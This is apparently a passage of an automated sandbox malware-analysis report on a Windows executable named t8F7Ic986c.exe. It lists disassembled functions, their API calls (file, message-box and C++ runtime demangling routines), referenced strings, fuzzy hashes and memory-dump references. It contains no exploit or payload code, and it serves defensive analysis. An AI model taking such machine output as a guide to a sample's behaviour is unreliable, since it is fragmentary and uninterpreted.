Part of subcall function 00007FF652EEB700: GetLastError.KERNEL32(?,?,?,00007FF652EF3B72,?,?,?,00007FF652EF3BAF,?,?,00000000,00007FF652EF4075,?,?,00000000,00007FF652EF3FA7), ref: 00007FF652EEB720

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF652EDC335), ref: 00007FF652EE9E18

Strings

C:\Users\user\Desktop\t8F7Ic986c.exe, xrefs: 00007FF652EE9E06

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\t8F7Ic986c.exe
API String ID: 3580290477-3003899231
Opcode ID: 2dc50b8d6a573f30b306f0085b97da4955317f93722b68647fdb996873f18b46
Instruction ID: 64352d19ce97752c780942a226aaad31a3f937b9cf17a4fc018a3f355c22a972
Opcode Fuzzy Hash: 2dc50b8d6a573f30b306f0085b97da4955317f93722b68647fdb996873f18b46
Instruction Fuzzy Hash: A6417136A0872785EB14DF26EC810BD67D5EF44798F58403AEA4D97B95DE7CE4818340

Function 00007FF652EED9E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF652EEDAFF
GetLastError.KERNEL32 ref: 00007FF652EEDB21

Strings

U, xrefs: 00007FF652EEDAAB

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 76bc1a38fdffd9ebe3e6e71a83b0ba687688a06d9a48e83c019cb8b3d6fff0c8
Instruction ID: 777543e6991193062dbc83b6c203fab9c2175dd6d2efac1ff6bebb1e9c87d345
Opcode Fuzzy Hash: 76bc1a38fdffd9ebe3e6e71a83b0ba687688a06d9a48e83c019cb8b3d6fff0c8
Instruction Fuzzy Hash: D941BF62A18A5285DB20CF25E8443AA67A4FB887D8F884139EE4DD7798EF7CD541C740

Function 00007FF652EF0108 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF652EF0148
GetCurrentDirectoryW.KERNEL32 ref: 00007FF652EF019A

Strings

:, xrefs: 00007FF652EF015E

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 5f6034cdb323e25da13304688bcfaa40664c8172194540dca50913ba3db948d1
Instruction ID: 179683cb281d8b8bff8e4d553ac4241f4bd9f646f799853221b66c7f511c7ce1
Opcode Fuzzy Hash: 5f6034cdb323e25da13304688bcfaa40664c8172194540dca50913ba3db948d1
Instruction Fuzzy Hash: 4521B962B086A181EB219B15E84436E73B1FB84B4CF59803DDA8DA36C8DFFCD545C751

Function 00007FF652ED2C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF652ED8DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF652ED2A9B), ref: 00007FF652ED8E1A

MessageBoxW.USER32 ref: 00007FF652ED2D05
MessageBoxA.USER32 ref: 00007FF652ED2D21

Strings

Error detected, xrefs: 00007FF652ED2CDB, 00007FF652ED2D13

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Error detected
API String ID: 1878133881-3513342764
Opcode ID: 339977713d7da472da6bf6cde3ee098e7c711e0ac5788cc03ff0aed866900f2e
Instruction ID: 5d5b6128a7dd2c619d21f1f5707dc3d3615cc64128ce55d8e3e9c8a06ee4ea01
Opcode Fuzzy Hash: 339977713d7da472da6bf6cde3ee098e7c711e0ac5788cc03ff0aed866900f2e
Instruction Fuzzy Hash: C621867262869191E720DB10F8516EA6364FF9478CF84513EE68DA7AA9DF7CD205CB00

Function 00007FF652ED2B10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF652ED8DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF652ED2A9B), ref: 00007FF652ED8E1A

MessageBoxW.USER32 ref: 00007FF652ED2BE5
MessageBoxA.USER32 ref: 00007FF652ED2C01

Strings

Fatal error detected, xrefs: 00007FF652ED2BBB, 00007FF652ED2BF3

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: Fatal error detected
API String ID: 1878133881-4025702859
Opcode ID: cc7983d7ddd1ca4fe6b0e820e7fb498cdab092a0274b8afa64f738c4e3f04b3b
Instruction ID: 814ec250662e7c91a53cd344ab3b186ae3c8439b1e7765615fa465170facd65a
Opcode Fuzzy Hash: cc7983d7ddd1ca4fe6b0e820e7fb498cdab092a0274b8afa64f738c4e3f04b3b
Instruction Fuzzy Hash: 7A21867262869291E720DB10F8516EA7364FF9478CF84513DE78DA7AA9DF7CD205CB00

Function 00007FF652EE0678 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF652EE06C8
RaiseException.KERNEL32 ref: 00007FF652EE0709

Strings

csm, xrefs: 00007FF652EE06F6

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: fd7208e01f832ae2c3cc6aa9bb96c2aefef2cc6e58d8a602234d9daac72df826
Instruction ID: 405119002a2ef972a8f7b7a1cdb25bdf9193d42f415beb0a38b65a09660848be
Opcode Fuzzy Hash: fd7208e01f832ae2c3cc6aa9bb96c2aefef2cc6e58d8a602234d9daac72df826
Instruction Fuzzy Hash: 9B115E72618B5282EB218B15F80026A77E1FB88B88F2C4234DE8D67B54EF7CC551CB00

Function 00007FF652EF1594 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF652EF15C4
GetDriveTypeW.KERNEL32 ref: 00007FF652EF1604

Strings

:, xrefs: 00007FF652EF15ED

Memory Dump Source

Source File: 00000000.00000002.1670712868.00007FF652ED1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF652ED0000, based on PE: true

Associated: 00000000.00000002.1670666035.00007FF652ED0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670794709.00007FF652EFC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670822382.00007FF652F11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671010337.00007FF652F13000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff652ed0000_t8F7Ic986c.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: b3a001ff98c302286219bbad5be65c90682500455353c0d2fccc423422cbb122
Instruction ID: 08f63d992bc44068ddc9943548dff0b76b72082e255055db8ac6a131b1257061
Opcode Fuzzy Hash: b3a001ff98c302286219bbad5be65c90682500455353c0d2fccc423422cbb122
Instruction Fuzzy Hash: C001F76291C26782F7209F60AC612BF23A0EF4474CF88143DD54EEA285DFBCE504CB10

Analysis Process: t8F7Ic986c.exePID: 7520, Parent PID: 7504COMMON

Non-executed Functions

Function 00007FFE148B8B88 Relevance: 51.1, APIs: 3, Strings: 26, Instructions: 340COMMON

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE148B906B
DName::operator+.LIBVCRUNTIME ref: 00007FFE148B90A3
DName::operator+.LIBVCRUNTIME ref: 00007FFE148B90DD

Strings

__int32, xrefs: 00007FFE148B8E28
void, xrefs: 00007FFE148B8CEA
unsigned , xrefs: 00007FFE148B9028
double, xrefs: 00007FFE148B8CAC
int, xrefs: 00007FFE148B8C32
float, xrefs: 00007FFE148B8CD8
UNKNOWN, xrefs: 00007FFE148B8FCA
const, xrefs: 00007FFE148B8F1C
short, xrefs: 00007FFE148B8C44
volatile, xrefs: 00007FFE148B8F64
long , xrefs: 00007FFE148B8C95
__int16, xrefs: 00007FFE148B8D80
__int64, xrefs: 00007FFE148B8E16
char8_t, xrefs: 00007FFE148B8E7E
bool, xrefs: 00007FFE148B8F95
long, xrefs: 00007FFE148B8C20
__int128, xrefs: 00007FFE148B8F9E
__w64 , xrefs: 00007FFE148B8D9E
wchar_t, xrefs: 00007FFE148B8FE5
signed , xrefs: 00007FFE148B9038
<unknown>, xrefs: 00007FFE148B8E6C
char32_t, xrefs: 00007FFE148B8FEE
char, xrefs: 00007FFE148B8C56
char16_t, xrefs: 00007FFE148B8FA7
__int8, xrefs: 00007FFE148B8D92
volatile, xrefs: 00007FFE148B8F37

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Name::operator+
String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $bool$char$char16_t$char32_t$char8_t$const$double$float$int$long$long $short$signed $unsigned $void$volatile$wchar_t
API String ID: 2943138195-1201493255
Opcode ID: ba71ce222652628ab94be2da16fed93a967c5c253a51ebe34a38362a411097a6
Instruction ID: 4cd7ba0bc5c014984d862047d1e8517e4d64e191cf849ae736479d09dad0a6e7
Opcode Fuzzy Hash: ba71ce222652628ab94be2da16fed93a967c5c253a51ebe34a38362a411097a6
Instruction Fuzzy Hash: F1F15F72E28E128CFB549B6AD8D46BC2761BB16364F8445B5EE0D12BB8DF7CA54CC340

Function 00007FFE148BC2E8 Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 288COMMON

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC379
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC3B2
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC486
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC497
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC4FA
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC50A
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC556
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC568
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC6DB
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC75B
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BC76A

Strings

`anonymous namespace', xrefs: 00007FFE148BC63B

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Name::operator+
String ID: `anonymous namespace'
API String ID: 2943138195-3062148218
Opcode ID: 5fe046c2c0b0ac1a9431a4a6ad2eddeb21456c4bdb11c4bf915a68bb353c5420
Instruction ID: ffd8333df16a03b69b7eedeaaa4ff7615fdc3236f65e63731d91f463c89a4466
Opcode Fuzzy Hash: 5fe046c2c0b0ac1a9431a4a6ad2eddeb21456c4bdb11c4bf915a68bb353c5420
Instruction Fuzzy Hash: D7E14972A08B8699EB20DF2AD4C01ED77A0FB46764F84507AFA4D17B65DF38D558C700

Function 00007FFE148BA768 Relevance: 22.9, APIs: 15, Instructions: 358COMMON

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE148BA7B9
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BA895
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BA8DE
DName::operator+.LIBVCRUNTIME ref: 00007FFE148BA8EF

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 630320a7c88aac3bb1f6780eccba744e6480051749fed4f0ac5d1929cad96905
Instruction ID: 55791db34c3c112e76345492973b494102e30ff162b87c05c5b64da568e42ffd
Opcode Fuzzy Hash: 630320a7c88aac3bb1f6780eccba744e6480051749fed4f0ac5d1929cad96905
Instruction Fuzzy Hash: 10F19A72A08A829EEB11DF66D4D01FC77B0FB0675CB8440B6EA4D67BA9DE38D549C340

Function 00007FFE148BD12C Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 339COMMON

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE148BD608

Strings

`generic-class-parameter-, xrefs: 00007FFE148BD5BD
`template-type-parameter-, xrefs: 00007FFE148BD5C6
`generic-method-parameter-, xrefs: 00007FFE148BD5AD
NULL, xrefs: 00007FFE148BD1FB

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Name::operator+
String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-
API String ID: 2943138195-4167119577
Opcode ID: e672168810272ec3f8c53cb02b46992dc1eb1020882c73149c6b4a83ecb901ec
Instruction ID: a7fbae8241a59edafb65df7d898c2bb1a7b2f0c8d7e8742852a16d3f5d2ebd24
Opcode Fuzzy Hash: e672168810272ec3f8c53cb02b46992dc1eb1020882c73149c6b4a83ecb901ec
Instruction Fuzzy Hash: B8E14F22E18E12ACFB149F6A85D41BC27E0BF47764F4441B5EE0D26BB5DE3CA50E8352

Function 00007FFE148B2CE4 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 309COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FFE148B2D40

Part of subcall function 00007FFE148B5010: _GetEstablisherFrame.LIBVCRUNTIME ref: 00007FFE148B5045
Part of subcall function 00007FFE148B5010: __GetUnwindTryBlock.LIBCMT ref: 00007FFE148B5053
Part of subcall function 00007FFE148B5010: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FFE148B5078

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFE148B2E18
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B2E25
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FFE148B3060
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B308E
_GetEstablisherFrame.LIBVCRUNTIME ref: 00007FFE148B30CC

Part of subcall function 00007FFE148B6710: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE148B239E), ref: 00007FFE148B671E

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B3154
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFE148B3189

Strings

csm, xrefs: 00007FFE148B2DC1
csm, xrefs: 00007FFE148B2E3D
csm, xrefs: 00007FFE148B2D5A

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Frame$BlockEstablisherHandler3::Unwindabortterminate$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3436797354-393685449
Opcode ID: 302f505374dfebb9ff877d34a72b5e8058d71b6ffa9dca6ce2f6e1cbb3f854fd
Instruction ID: 75111e898898c2a30a74bb66bff30ae7831edc3350f72ce13361b23ec6824e43
Opcode Fuzzy Hash: 302f505374dfebb9ff877d34a72b5e8058d71b6ffa9dca6ce2f6e1cbb3f854fd
Instruction Fuzzy Hash: 91D17032A08F418AEB209F66D4852AD77A4FB46BA8F000175FE8D57B65CF38E599C700

Function 00007FFE148BE248 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 196COMMON

Download Yara Rule

Strings

`generic-type-, xrefs: 00007FFE148BE389
generic-type-, xrefs: 00007FFE148BE356
template-parameter-, xrefs: 00007FFE148BE30F
`template-parameter-, xrefs: 00007FFE148BE342

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID:
String ID: `generic-type-$`template-parameter-$generic-type-$template-parameter-
API String ID: 0-3207858774
Opcode ID: cf6e9e457acd1e733123883bc6a2677c9cdbf9a15ae0e817e0b089c0cac65ab1
Instruction ID: 4c7a342bf8713f3c68bf863b47fe497a0c80489921ec3c48ce0b82d089fef555
Opcode Fuzzy Hash: cf6e9e457acd1e733123883bc6a2677c9cdbf9a15ae0e817e0b089c0cac65ab1
Instruction Fuzzy Hash: 83915B32A08E868DEB218B26D4D06F877A1BB56B64F8841B5EA4D037B5DF3CE549C350

Function 00007FFE148BA068 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 120COMMON

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE148BA0C4

Part of subcall function 00007FFE148B722C: DName::operator+=.LIBVCRUNTIME ref: 00007FFE148B7247

DName::operator+.LIBVCRUNTIME ref: 00007FFE148BA1F1

Strings

class , xrefs: 00007FFE148BA206
union , xrefs: 00007FFE148BA21E
enum , xrefs: 00007FFE148BA1B3
`unknown ecsu', xrefs: 00007FFE148BA090
struct , xrefs: 00007FFE148BA215
coclass , xrefs: 00007FFE148BA1AA
cointerface , xrefs: 00007FFE148BA198

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Name::operator+$Name::operator+=
String ID: `unknown ecsu'$class $coclass $cointerface $enum $struct $union
API String ID: 179159573-1464470183
Opcode ID: ed4f9a6973f612c64292364027933c822cc21b27ce90f41621b4a1da807cec37
Instruction ID: d7c1599bb4d23fe98ea1cdfef7f239943fa50e59e56e276484f69caa511c22af
Opcode Fuzzy Hash: ed4f9a6973f612c64292364027933c822cc21b27ce90f41621b4a1da807cec37
Instruction Fuzzy Hash: 7A513A32F18E1689FB10DB66E8C05BC77B0BB06368F944179FA0E12BA4DF29E549C700

Function 00007FFE148B8848 Relevance: 15.2, APIs: 10, Instructions: 150COMMON

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE148B8912
DName::operator+.LIBVCRUNTIME ref: 00007FFE148B8922
DName::operator+.LIBVCRUNTIME ref: 00007FFE148B896E
DName::operator+.LIBVCRUNTIME ref: 00007FFE148B897E
DName::operator+.LIBVCRUNTIME ref: 00007FFE148B898E
DName::operator+.LIBVCRUNTIME ref: 00007FFE148B8A01
DName::operator+.LIBVCRUNTIME ref: 00007FFE148B8A12
DName::operator+.LIBVCRUNTIME ref: 00007FFE148B8A24
DName::operator+.LIBVCRUNTIME ref: 00007FFE148B8A50
DName::operator+.LIBVCRUNTIME ref: 00007FFE148B8A5F

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668720877.00007FFE148C6000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe148b0000_t8F7Ic986c.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: eee89ee1f130d0961218095a9fc0b53f7afacaf12ed75a2902502673e2e14d0a
Instruction ID: 7e95967aec5a592ecbb8faff79da38384308d279fdf16c3fa71f1e5e8982c934
Opcode Fuzzy Hash: eee89ee1f130d0961218095a9fc0b53f7afacaf12ed75a2902502673e2e14d0a
Instruction Fuzzy Hash: A6616C62F14B669CFB10DBA2D8C01EC23B1BB057A8B444475EE4D2BBA9DF78D549C340

Function 00007FFE148B31A0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 314COMMON

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFE148B333E
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B334B

Part of subcall function 00007FFE148B6710: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE148B239E), ref: 00007FFE148B671E

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B35F9
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE148B3644
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFE148B3679

Strings

csm, xrefs: 00007FFE148B3285
csm, xrefs: 00007FFE148B32E7
csm, xrefs: 00007FFE148B3367

Memory Dump Source

Source File: 00000001.00000002.1668644836.00007FFE148B1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE148B0000, based on PE: true

Associated: 00000001.00000002.1668603784.00007FFE148B0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1668697231.00007FFE148C5000.00000004.00000001.01000000.00000005.sdmpDownload File
